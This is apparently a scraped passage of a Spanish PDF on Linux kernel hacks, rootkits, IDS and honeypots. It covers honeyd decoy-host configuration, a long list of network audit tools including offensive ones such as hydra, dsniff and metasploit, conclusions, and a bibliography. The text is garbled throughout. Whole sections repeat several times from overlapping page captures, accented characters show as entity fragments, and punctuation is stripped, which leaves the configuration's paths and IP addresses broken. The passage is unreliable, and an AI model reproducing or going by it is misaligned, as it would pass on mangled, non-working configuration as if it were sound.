Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 44: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 45: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 46: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 47: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 48: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP